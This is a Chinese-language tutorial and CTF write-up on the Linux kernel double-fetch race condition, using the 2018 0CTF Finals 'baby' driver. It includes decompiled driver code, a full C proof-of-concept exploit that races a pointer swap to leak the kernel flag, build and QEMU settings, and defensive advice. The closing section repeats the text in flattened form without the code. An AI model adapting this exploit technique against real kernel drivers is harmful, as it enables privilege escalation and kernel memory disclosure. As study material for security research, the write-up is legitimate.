Linux Kernel Exploit 内核漏洞学习(1)-Double Fetch
字数 1273 2025-08-04 00:53:48

Linux Kernel Double Fetch 漏洞分析与利用

1. Double Fetch 漏洞概述

Double Fetch 是一种内核条件竞争漏洞,发生在内核态与用户态之间的数据访问竞争场景中。其核心原理是:

  • 用户态线程通过系统调用将数据传入内核
  • 内核对该数据进行两次取用:
    1. 第一次取用进行安全检查(如缓冲区大小、指针可用性等)
    2. 第二次取用进行实际处理
  • 在两次取用的间隙,另一个用户态线程可以篡改已通过检查的数据
  • 导致内核在真实使用时出现访问越界或缓冲区溢出,可能引发内核崩溃或权限提升

2. 漏洞示例分析(2018 0CTF Finals Baby Kernel)

2.1 驱动功能分析

驱动注册了 baby_ioctl 函数,提供两个功能:

  1. 打印flag地址(cmd=0x6666):

    if ((_DWORD)a2 == 0x6666) {
        printk("Your flag is at %px! But I don't think you know it's content\n", flag);
        result = 0LL;
    }
    
  2. 打印flag内容(cmd=0x1337):

    else if ((_DWORD)a2 == 0x1337 && 
            !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(current_task + 0x1358LL)) && 
            !_chk_range_not_ok(*(_QWORD *)v5, *(_DWORD *)(v5 + 8), *(_QWORD *)(current_task + 0x1358LL)) && 
            *(_DWORD *)(v5 + 8) == strlen(flag)) {
        for (i = 0; i < strlen(flag); ++i) {
            if (*(_BYTE *)(*(_QWORD *)v5 + i) != flag[i])
                return 22LL;
        }
        printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
        result = 0LL;
    }
    

2.2 关键数据结构

驱动使用了一个结构体来传递flag信息:

struct v5 {
    char *flag;  // flag指针
    size_t len;  // flag长度
};

2.3 安全检查机制

打印flag内容前有两处安全检查:

  1. 第一处检查(条件判断):

    • 检查传入的v5结构体是否位于用户空间
    • 检查v5->flag指向的地址是否位于用户空间
    • 检查v5->len是否等于硬编码flag的长度
  2. 第二处检查(内容比较):

    • 逐字节比较用户提供的flag与内核中的flag是否一致

2.4 漏洞成因

漏洞存在于两次检查之间:

  1. 第一次检查确保所有指针都指向用户空间
  2. 第二次检查实际比较flag内容
  3. 在这两次操作之间,存在时间窗口可以修改指针值

3. 漏洞利用思路

3.1 利用步骤

  1. 获取内核flag地址

    • 使用cmd=0x6666获取flag在内核中的地址
    • 通过dmesg命令读取打印的地址信息
  2. 构造恶意数据结构

    struct v5 t;
    t.flag = user_flag;  // 初始指向用户空间
    t.len = 33;          // 硬编码flag的长度
    
  3. 创建竞争线程

    • 启动一个线程不断将t.flag修改为内核flag地址
    • 主线程不断尝试调用cmd=0x1337
  4. 触发竞争条件

    • 当检查通过后,竞争线程将指针改为内核flag地址
    • 使得内核比较flag自身,从而通过检查

3.2 完整POC代码

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <pthread.h>

unsigned long long flag_addr;
int Time = 1000;
int finish = 1;

struct v5 {
    char *flag;
    size_t len;
};

// 竞争线程:将user_flag_addr改为kernel_flag_addr
void change_flag_addr(void *a) {
    struct v5 *s = a;
    while (finish == 1) {
        s->flag = flag_addr;
    }
}

int main() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    
    pthread_t t1;
    char buf[201] = {0};
    char m[] = "flag{AAAA_BBBB_CC_DDDD_EEEE_FFFF}"; // 用户空间flag
    char *addr;
    int file_addr, fd, ret, id, i;
    
    struct v5 t;
    t.flag = m;
    t.len = 33;
    
    fd = open("/dev/baby", 0);
    ret = ioctl(fd, 0x6666);
    
    // 获取内核flag地址
    system("dmesg | grep flag > /tmp/sir.txt");
    file_addr = open("/tmp/sir.txt", O_RDONLY);
    id = read(file_addr, buf, 200);
    close(file_addr);
    
    addr = strstr(buf, "Your flag is at ");
    if (addr) {
        addr += 16;
        flag_addr = strtoull(addr, addr + 16, 16);
        printf("[*]The flag_addr is at: %p\n", flag_addr);
    } else {
        printf("[*]Didn't find the flag_addr!\n");
        return 0;
    }
    
    // 创建恶意线程
    pthread_create(&t1, NULL, change_flag_addr, &t);
    
    // 主线程尝试触发漏洞
    for (i = 0; i < Time; i++) {
        ret = ioctl(fd, 0x1337, &t);
        t.flag = m; // 恢复为用户地址以通过第一次检查
    }
    
    finish = 0;
    pthread_join(t1, NULL);
    close(fd);
    
    printf("[*]The result:\n");
    system("dmesg | grep flag");
    return 0;
}

3.3 编译与运行

编译命令:

gcc poc.c -o poc -static -w -pthread

运行环境要求:

  • QEMU启动参数不能开启SMAP保护
  • 需要配置多核环境(非单核单线程):
    -smp 2,cores=2,threads=1
    

4. 调试技巧

  1. 内核驱动调试方法

    • 安装驱动
    • 对目标函数下断点
    • 运行POC程序
    • 在断点处进行调试
  2. 关键调试点

    • 检查baby_ioctl函数的执行流程
    • 观察两次数据取用之间的时间窗口
    • 监控竞争线程修改指针的时机

5. 防御措施

  1. 内核开发层面

    • 使用copy_from_user一次性将用户数据复制到内核空间
    • 对关键数据使用锁机制保护
    • 减少用户数据在内核中的暴露时间
  2. 系统配置层面

    • 启用SMAP/SMEP保护
    • 使用内核地址空间布局随机化(KASLR)
    • 限制用户对敏感设备的访问权限

6. 总结

Double Fetch漏洞展示了内核与用户空间交互时的潜在风险。通过精心设计的竞争条件,攻击者可以绕过内核的安全检查机制。理解这类漏洞有助于开发者编写更安全的驱动代码,也有助于安全研究人员识别和防御此类攻击。

Linux Kernel Double Fetch 漏洞分析与利用 1. Double Fetch 漏洞概述 Double Fetch 是一种内核条件竞争漏洞,发生在内核态与用户态之间的数据访问竞争场景中。其核心原理是: 用户态线程通过系统调用将数据传入内核 内核对该数据进行两次取用: 第一次取用进行安全检查(如缓冲区大小、指针可用性等) 第二次取用进行实际处理 在两次取用的间隙,另一个用户态线程可以篡改已通过检查的数据 导致内核在真实使用时出现访问越界或缓冲区溢出,可能引发内核崩溃或权限提升 2. 漏洞示例分析(2018 0CTF Finals Baby Kernel) 2.1 驱动功能分析 驱动注册了 baby_ioctl 函数,提供两个功能: 打印flag地址 (cmd=0x6666): 打印flag内容 (cmd=0x1337): 2.2 关键数据结构 驱动使用了一个结构体来传递flag信息: 2.3 安全检查机制 打印flag内容前有两处安全检查: 第一处检查 (条件判断): 检查传入的v5结构体是否位于用户空间 检查v5->flag指向的地址是否位于用户空间 检查v5->len是否等于硬编码flag的长度 第二处检查 (内容比较): 逐字节比较用户提供的flag与内核中的flag是否一致 2.4 漏洞成因 漏洞存在于两次检查之间: 第一次检查确保所有指针都指向用户空间 第二次检查实际比较flag内容 在这两次操作之间,存在时间窗口可以修改指针值 3. 漏洞利用思路 3.1 利用步骤 获取内核flag地址 : 使用cmd=0x6666获取flag在内核中的地址 通过dmesg命令读取打印的地址信息 构造恶意数据结构 : 创建竞争线程 : 启动一个线程不断将t.flag修改为内核flag地址 主线程不断尝试调用cmd=0x1337 触发竞争条件 : 当检查通过后,竞争线程将指针改为内核flag地址 使得内核比较flag自身,从而通过检查 3.2 完整POC代码 3.3 编译与运行 编译命令: 运行环境要求: QEMU启动参数不能开启SMAP保护 需要配置多核环境(非单核单线程): 4. 调试技巧 内核驱动调试方法 : 安装驱动 对目标函数下断点 运行POC程序 在断点处进行调试 关键调试点 : 检查 baby_ioctl 函数的执行流程 观察两次数据取用之间的时间窗口 监控竞争线程修改指针的时机 5. 防御措施 内核开发层面 : 使用 copy_from_user 一次性将用户数据复制到内核空间 对关键数据使用锁机制保护 减少用户数据在内核中的暴露时间 系统配置层面 : 启用SMAP/SMEP保护 使用内核地址空间布局随机化(KASLR) 限制用户对敏感设备的访问权限 6. 总结 Double Fetch漏洞展示了内核与用户空间交互时的潜在风险。通过精心设计的竞争条件,攻击者可以绕过内核的安全检查机制。理解这类漏洞有助于开发者编写更安全的驱动代码,也有助于安全研究人员识别和防御此类攻击。